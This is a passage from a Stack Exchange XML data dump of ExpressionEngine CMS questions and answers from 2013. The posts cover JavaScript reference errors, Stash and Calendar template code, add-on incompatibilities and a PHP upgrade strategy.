http://xxxxx.com/?ACT=7&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog&amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;file=cp%2Fsort_helper,cp%2Fgrid,underscore&amp;amp;v=1381722060&amp;amp;include_jquery=y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;include_assets=&quot;yes&quot;&lt;/code&gt;, &lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have this JS error in the console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReferenceError: jQuery is not defined&#xA;ReferenceError: jQuery is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the script being included&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://xxxxx.com/?ACT=7&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog&amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;file=cp%2Fsort_helper,cp%2Fgrid,underscore&amp;amp;v=1381722060&#xA;&#xA;http://xxxxx.com/themes/third_party/mx_lonestar/js/jquery.mx_lonestar.min.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;include_assets=&quot;no&quot;&lt;/code&gt;,&lt;code&gt;include_jquery=&quot;yes&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have this JS error in the console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReferenceError: EE is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the script being included&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://xxxxx.com/?ACT=7&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog&amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;file=cp%2Fsort_helper,cp%2Fgrid,underscore&amp;amp;v=1381722060&amp;amp;include_jquery=y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;include_assets=&quot;no&quot;&lt;/code&gt;,&lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have this JS error in the console&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReferenceError: jQuery is not defined&#xA;ReferenceError: jQuery is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the script being included&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://xxxxx.com/?ACT=7&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog&amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;file=cp%2Fsort_helper,cp%2Fgrid,underscore&amp;amp;v=1381722060&#xA;&#xA;http://xxxxx.com/themes/third_party/mx_lonestar/js/jquery.mx_lonestar.min.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: There is a jquery script at the bottom of the page included&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/2.0.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any solution to this problem? I have tried to debug this for a week already but to no avail.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-10-18T02:34:59.080" LastActivityDate="2013-10-22T19:04:04.917" Title="ReferenceError: EE is not defined error on page with Grids" Tags="|javascript|jquery|grid|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14430" PostTypeId="2" ParentId="14048" CreationDate="2013-10-09T07:12:54.327" Score="0" Body="&lt;p&gt;I think, its late reply. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I developed a module &quot;Member Downloads&quot;. One can see the documentation from here: &lt;a href=&quot;http://www.sidd3.com/member-downloads-tracking-members-downloads/&quot; rel=&quot;nofollow&quot;&gt;http://www.sidd3.com/member-downloads-tracking-members-downloads/&lt;/a&gt;. It seems something suitable for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soon, it will be available at devot:ee to purchase.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-09T07:12:54.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14431" PostTypeId="1" CreationDate="2013-10-09T07:20:48.647" Score="1" ViewCount="439" Body="&lt;p&gt;I pushed an update to my ee site recently and came across a very strange error where none of my pages work in the site properly and I get a relationship field error on the homepage which was never there before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;Message: Wrong parameter count for array_unique()&#xA;Filename: relationship_parser/Tree_builder.php&#xA;Line Number: 122&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined offset: 79&#xA;Filename: relationship_parser/Parser.php&#xA;Line Number: 52&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /var/sites/a/arcadiaportal-beta.co.uk/public_html/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 408&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever come across this issue before with the ee relationship field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Mark&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-10-09T07:20:48.647" Title="Why is my site giving me a relationship field error?" Tags="|ee2|relationships|database|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14432" PostTypeId="2" ParentId="14423" CreationDate="2013-10-09T07:47:54.123" Score="1" Body="&lt;p&gt;The update form works just the same as a Channel Form. You are trying to use tag syntax that works inside a channel entries tag, but that won't work inside a form. Either use {field:your_playa_fieldname}  or if you really want to fetch them separately, you will have to resort to using a channel entries tag inside an embed.  Also have a look at this thread &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/10501#37493&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/zoo-visitor/viewthread/10501#37493&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Nico   &lt;/p&gt;&#xA;" OwnerUserId="749" LastActivityDate="2013-10-09T07:47:54.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14433" PostTypeId="1" AcceptedAnswerId="14436" CreationDate="2013-10-09T08:30:35.977" Score="1" ViewCount="506" Body="&lt;p&gt;Is it possible to control if fields could be shown or hidden in the control panel channel publish/edit form depending on whether an options was selected or a value inputted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I had an input for 'first name' and a user types in that input the 'last name' input would show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking this would be be controlled by some JS I have been able to add somewhere. Each channel would have its own JS script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking behind this is so user don't complete fields they don't need to and then it requires less conditionals in the templates.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-02T19:30:42.590" Title="Control Panel : Hide/show channel fields in channel with custom JS" Tags="|control-panel|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14434" PostTypeId="2" ParentId="14384" CreationDate="2013-10-09T09:13:06.677" Score="0" Body="&lt;p&gt;A couple of suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You have a problem with parse order. The get_list is parsed before append_list. Try wrapping the channel entries tag in a set_list instead. Refer to stash docs and examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) change the get_lists to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name='treats' context='pies'}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Removed these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parse_tags='yes' - you dont have any tags inside the get_list&lt;/li&gt;&#xA;&lt;li&gt;parse_conditionals='yes' - you dont have any conditionals inside the&#xA;get_list &lt;/li&gt;&#xA;&lt;li&gt;process='end' - this may be further confusing the parse    order&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then remove the second channel entries tag and get the top part of template working first.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-10-09T09:13:06.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14435" PostTypeId="2" ParentId="14426" CreationDate="2013-10-09T09:27:14.540" Score="1" Body="&lt;p&gt;Try these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5236/store-isnt-adding-products-to-the-cart&quot;&gt;Store isn&amp;#39;t adding products to the cart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10494/expresso-store-update-cart-button-is-not-updating-the-cart/10541#10541&quot;&gt;Expresso Store: Update Cart button is not updating the cart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13545/cant-add-items-to-a-cart-with-ee-2-7-expresso-store&quot;&gt;Can&amp;#39;t add items to a cart with EE 2.7 - Expresso Store&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no conditionals in your template for logged in versus logged out in the relevant product tags are there?&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-09T09:27:14.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14436" PostTypeId="2" ParentId="14433" CreationDate="2013-10-09T09:43:12.100" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; to inject some JQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then target form#publishForm, something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($(&quot;form#publishForm #hold_field_19&quot;).val() == &quot;&quot;) {&#xA;    $(&quot;form#publishForm #hold_field_19&quot;).hide();&#xA;}&#xA;$(&quot;form#publishForm #field_18&quot;).on('input', function() {&#xA;    if ($(this).val() != &quot;&quot;) {&#xA;        $(&quot;form#publishForm #hold_field_19&quot;).fadeIn();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assumes field_18 is first name and field_19 is last name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One problem you may need to add conditionals for in the JQuery is if the first name is empty, but last name is not - you don't want to hide the last name field. Also need to check if the first name is deleted during the editing, should the last name disappear at that point?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;then it requires less conditionals in the templates.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not quite sure how that's going to change as you're still going to want to know if a field has a value to display it or not...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember for different channels you can &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html&quot; rel=&quot;nofollow&quot;&gt;change the layout&lt;/a&gt; and what fields are shown hidden (albeit permanently and not relevant to other fields having a value).&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-10-09T09:49:02.260" LastActivityDate="2013-10-09T09:49:02.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14437" PostTypeId="2" ParentId="11521" CreationDate="2013-10-09T10:31:50.840" Score="4" Body="&lt;p&gt;I had the same issue, and ultimately discovered it was caused by a setting in Focus Labs EE Master Config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In config.master.php around line 258 you'll find:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;/**&#xA; * Member-based settings&#xA; */&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//$env_config['profile_trigger']          = rand(0,time()); // randomize the member profile trigger word because we'll never need it&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why randomising the tigger would help, however I found that setting it to a constant fixed the problem e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;$env_config['profile_trigger'] = 'member';&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2013-10-09T10:31:50.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14438" PostTypeId="1" AcceptedAnswerId="14442" CreationDate="2013-10-09T12:46:31.220" Score="0" ViewCount="270" Body="&lt;p&gt;I'm outputting occurrences using the &lt;code&gt;{occurrences}&lt;/code&gt; variable pair within a &lt;code&gt;{exp:calendar:events}&lt;/code&gt; tag for a single day and I'd like to sort these occurrences by time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events calendar_id=&quot;22&quot; date_range_start=&quot;2013-11-10&quot; date_range_end=&quot;2013-11-10&quot; sort=&quot;asc&quot; show_years=&quot;9&quot; pad_short_weeks=&quot;n&quot;}&#xA;&#xA;   {occurrences}&#xA;      {occurrence_start_date format=&quot;%D, %F %j %g:%i %a&quot;}&#xA;   {/occurrences}&#xA;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using the &lt;code&gt;sort&lt;/code&gt; parameter in the occurrences variable pair and  but it didn't work. Any tips?&lt;/p&gt;&#xA;" OwnerUserId="977" LastEditorUserId="69" LastEditDate="2013-10-09T19:07:03.600" LastActivityDate="2013-10-24T17:00:31.050" Title="Solspace Calendar - Ordering occurrences by time" Tags="|solspace|solspace-calendar|calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14439" PostTypeId="1" CreationDate="2013-10-09T13:20:56.710" Score="1" ViewCount="126" Body="&lt;p&gt;I just upgraded to EE 2.7.2 and am getting an error when I go navigate to Addons &gt; Field Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Class Matrix_cat_col_ft contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in &lt;em&gt;*&lt;/em&gt;\expressionengine\third_party\matrix_cat_col\ft.matrix_cat_col.php on line 167&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also upgraded to Matrix 2.5.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="972" LastActivityDate="2013-10-09T15:33:35.940" Title="Upgraded to 2.7.2: Fatal error: Class Matrix_cat_col_ft" Tags="|matrix|php-errors|fatal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14440" PostTypeId="2" ParentId="14256" CreationDate="2013-10-09T14:30:51.033" Score="0" Body="&lt;p&gt;I ended up figuring out that it was a conflict with the now deprecated &lt;a href=&quot;http://devot-ee.com/add-ons/twitter-timeline&quot; rel=&quot;nofollow&quot;&gt;Twitter Timeline&lt;/a&gt; Add-On. Once that old code was removed from the site, all worked as it should.&lt;/p&gt;&#xA;" OwnerUserId="2131" LastActivityDate="2013-10-09T14:30:51.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14441" PostTypeId="2" ParentId="14420" CreationDate="2013-10-09T14:38:42.513" Score="1" Body="&lt;p&gt;Are you sure your last conditional shouldn't be {if related_articles:count == related_articles:total_results}?  I can't find mention of what the count and other related variables would be for the relationship field, so I suspect it falls back to the same variable set as the entries loop, in which case total_results would be what you would want here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I would suggest eliminating all but the title between the {related_articles}{/related_articles} tags just to see if the issue persists and then build it back up. If I had to guess, it may be something off with your conditional (such as what I mentioned above) and that then may in turn prevent the rest of the loop from rendering as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to confirm - is related_articles a field in your blog field group?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-10-09T14:38:42.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14442" PostTypeId="2" ParentId="14438" CreationDate="2013-10-09T15:00:02.880" Score="1" Body="&lt;p&gt;I actually just ran into a similar issue with Solspace Calendar. The add-on is written so that ordering in this way is not possible (it has a built-in ordering process). You can't even use the &lt;code&gt;fixed_order=&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I had to &lt;strong&gt;utilize Stash to first grab all the event occurrences and set them into a list, then grab that Stash list and sort using Stash&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, after you install Stash, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;event_occurrences&quot; parse_tags=&quot;yes&quot;}&#xA;  {exp:calendar:events calendar_id=&quot;22&quot; date_range_start=&quot;2013-11-10&quot; date_range_end=&quot;2013-11-10&quot; show_years=&quot;9&quot; pad_short_weeks=&quot;n&quot;}&#xA;    {occurrences}&#xA;      {stash:occurrence_title}{title}{/stash:occurrence_title}&#xA;      {stash:occurrence_start_date_hour}{occurrence_start_date format=&quot;%D, %F %j %g:%i %a&quot;}{/stash:occurrence_start_date_hour}&#xA;      {stash:occurrence_time_sort}{occurrence_start_date format=&quot;%Y%m%d%H%i&quot;}{/stash:occurrence_time_sort}&#xA;    {/occurrences}&#xA;  {/exp:calendar:events}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use Stash to display them in order by sorting according to &lt;code&gt;{stash:occurrence_time_sort}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;event_occurrences&quot; orderby=&quot;occurrence_time_sort&quot; sort=&quot;desc&quot;}&#xA;  &amp;lt;h1&amp;gt;{occurrence_title}&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;h2&amp;gt;{occurrence_start_date_hour}&amp;lt;/h2&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-09T15:19:48.063" LastActivityDate="2013-10-09T15:19:48.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14443" PostTypeId="2" ParentId="14439" CreationDate="2013-10-09T15:33:35.940" Score="1" Body="&lt;p&gt;Seems like the issue lies with this add-on &lt;a href=&quot;http://koivi.com/ee-matrix-cat-col&quot; rel=&quot;nofollow&quot;&gt;http://koivi.com/ee-matrix-cat-col&lt;/a&gt; which hasn't been updated for two years so is incompatible with EE2.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding this (&lt;a href=&quot;http://pastie.org/private/f3xjwmrrm97psclvuu3hq&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/f3xjwmrrm97psclvuu3hq&lt;/a&gt;) to the third_party/matrix_cat_col.php class should help (right before the last &quot;}&quot;).&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-09T15:33:35.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14444" PostTypeId="1" AcceptedAnswerId="14450" CreationDate="2013-10-09T16:04:57.577" Score="3" ViewCount="277" Body="&lt;p&gt;Pagination is pretty simple but I can't figure out how to have a different pagination style at the top vs the bottom. What I want to do is show the pagination links at the bottom of the results but show some other information that is only available within the pagination tags at the top of my results. I have AB Pagination installed as well so I can use some it's extra tags to show more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, is there a way to have something similar to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pagination_top} Showing results 1-10 of 56. Show: 10  20 30 per page  {/pagination_top}&#xA;&#xA;{entries loop} stuff here {/entries}&#xA;&#xA;{pagination_bottom} Prev | 1 | 2 | 3 | etc | Next {/pagination_bottom}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated! Thanks&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2013-10-09T20:54:17.240" Title="Different Top vs Bottom Pagination Code Blocks" Tags="|search|filter|pagination|ab-pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14445" PostTypeId="2" ParentId="14382" CreationDate="2013-10-09T16:44:25.787" Score="3" Body="&lt;p&gt;Calendar events do not use regular entry entry_date and expiration_date values, but rather specialized event data stored in Calendar itself. Since the EE simple search form uses the regular EE channel entries library, it won't be able to filter for upcoming events based on entry_date and expiration_date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, occurrences of an event are not necessarily channel entries themselves (unless you edit one of the occurrences, in which case only that occurrence becomes an entry). The EE simple search module will therefore &lt;strong&gt;not&lt;/strong&gt; be able to display separate occurrences as if they were entries, even less discern upcoming occurrences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display upcoming events (another way of saying &quot;events that have not passed yet&quot;), you'll need to use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. You could try feeding the &lt;code&gt;{entry_id}&lt;/code&gt; from your search results into a tag starting like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if channel_short_name == &quot;calendar_events&quot;}&#xA;  {exp:calendar:cal &#xA;      pad_short_weeks=&quot;n&quot;&#xA;      date_range_start=&quot;today&quot;&#xA;      date_range_end=&quot;+1 month&quot;&#xA;      event_id=&quot;{entry_id}&quot;&#xA;  }&#xA;    // ...more code&#xA;  {/exp:calendar:cal}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will display, within your search results, all occurrences in the coming month for that event entry. As a note, if you're ordering your regular results by entry entry_date or expiration_date, these occurrences won't &quot;mix in&quot; chronologically with your other regular channel entries.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-09T16:44:25.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14446" PostTypeId="1" CreationDate="2013-10-09T16:50:25.187" Score="3" ViewCount="508" Body="&lt;p&gt;I am having trouble displaying checkboxes for a P&amp;amp;T Field Pack Checkboxes custom field in a Channel Form (ExpressionEngine 2.7.1, Field Pack 2.1.1) using the {custom_fields} and {options} loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've simplified this example, but using the following code nothing is displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;  {if field_name=='preferred_position'}&#xA;    {options}&#xA;      {option_name}&#xA;      &amp;lt;input&#xA;        type=&quot;checkbox&quot;&#xA;        name=&quot;{field_name}[]&quot;&#xA;        value=&quot;{option_value}&quot;&#xA;      &amp;gt;&#xA;    {/options}&#xA;  {/if}&#xA;{/custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the corresponding Field Options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 : Driver&#xA;2 : Cook&#xA;3 : Bartender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In earlier versions of EE (back when it was Safecracker), my loop looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preferred_position:options}&#xA;  {option_name}&#xA;  &amp;lt;input&#xA;    type=&quot;checkbox&quot;&#xA;    name=&quot;preferred_position[]&quot;&#xA;    value=&quot;{option_value}&quot;&#xA;  &amp;gt;&#xA;{/preferred_position:options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are the P&amp;amp;T fieldtypes unsupported by {custom_fields}?&lt;/p&gt;&#xA;" OwnerUserId="2168" LastActivityDate="2014-01-18T19:16:40.567" Title="P&amp;T Checkboxes and Channel Form" Tags="|custom-fields|channel-form|field-pack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14447" PostTypeId="2" ParentId="14396" CreationDate="2013-10-09T17:38:34.417" Score="1" Body="&lt;p&gt;I actually have used MSM in this case, and to good results. We shared common code in one 'site' and embedded into other sites as needed. Each MSM site stored the things that were different/unique to that country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be curious to hear what Matt ran into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the eCommerce piece might be a deal-killer.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2013-10-09T17:38:34.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14448" PostTypeId="2" ParentId="14421" CreationDate="2013-10-09T17:40:56.737" Score="7" Body="&lt;p&gt;Totally agree with Steven's comment, I'll give my own answer though as we recently went through similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were migrating to a new server and took the opportunity to build php 5.5 on the server to skip a version and save us the hassle of any major version upgrades again anytime soon. Here was our strategy.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upgrade all sites to latest EE build&lt;/li&gt;&#xA;&lt;li&gt;Upgrade all addons to latest build. As part of this we didn't only look at versions of addons on Devot-ee etc, we also checked the various addons respective Github repos etc, as often there were more recent versions that had not necessarily been pushed to Devotee, on a case by case basis if we thought the fixes on Github were worth taking we did testing with that version and went live with it if we had no problems.&lt;/li&gt;&#xA;&lt;li&gt;We already maintain a spreadsheet showing all addons running across all sites and what version they were at. We then identified a test group of sites that covered all the addons across all our sites&lt;/li&gt;&#xA;&lt;li&gt;Using the above list we came up with a test plan that would allow us to test all the major functionality in each site provided by both EE and addons&lt;/li&gt;&#xA;&lt;li&gt;Before our server went into production, we migrated all our sites that were part of our test group and did extensive testing on these sites, knowing that in most if not all cases, the extensive testing we do here should cover most of the other sites as there should be no major differences to the php code between the sites.&lt;/li&gt;&#xA;&lt;li&gt;Once we resolved all our issues with this test group, we ensured we also had a good copy of php5.3 on the new server, this meant if we did run into any issues due to php incompatibilities, we didn't have to roll back every site, we just switched the site experiencing the problem back to php5.3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The key in the above strategy was to identify all the areas to look for problems before they occurred. Remembering that a php issue may only show up when a particular function runs. For example, the only significant problem we  had in the migration was when last minute we removed imap from php, thinking it wasn't needed. When in actual fact Escore (mail sending addon), required this even though it didn't use imap. The only time this error would fire was when email was sent. It was a quick fix, and error was found quickly because testing email was part of our test routines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your doing a same server upgrade of php and don't have access to a cloned development environment, I would suggest looking at running two versions of php on the server, then you can move one site at a time which will cause you less grey hairs! How you would do this would depend on your setup, but that's a bit off topic here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally it would never attempt a move like this with EE on 2.1/2.2 etc, they are getting a bit old now. If you do run into problems and seek help, your going to be asked to upgrade them anyway so best get it out the way while your in a stable environment first. Otherwise you could end up in a situation where every site has a different issue to troubleshoot and you will quickly get overrun with issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what it's worth I'm not sure I would consider php 5.5 more secure than 5.4, in fact I think it would be fair to call 5.4 more mature as it's been in production for much longer. I'm not saying don't upgrade to 5.5, but don't automatically assume it's the most bug free version as that may not be the case. &lt;/p&gt;&#xA;" OwnerUserId="587" LastEditorUserId="587" LastEditDate="2013-10-09T17:48:32.753" LastActivityDate="2013-10-09T17:48:32.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14449" PostTypeId="2" ParentId="14444" CreationDate="2013-10-09T17:41:30.937" Score="0" Body="&lt;p&gt;Unfortunately I don't think this is possible. One workaround might be to use multiple &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loops on the page, each creating it's own pagination, but obviously that would be a very inefficient solution, so I'd only use it in a last resort on a page you were sure wasn't going to have a lot of load.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-09T17:41:30.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
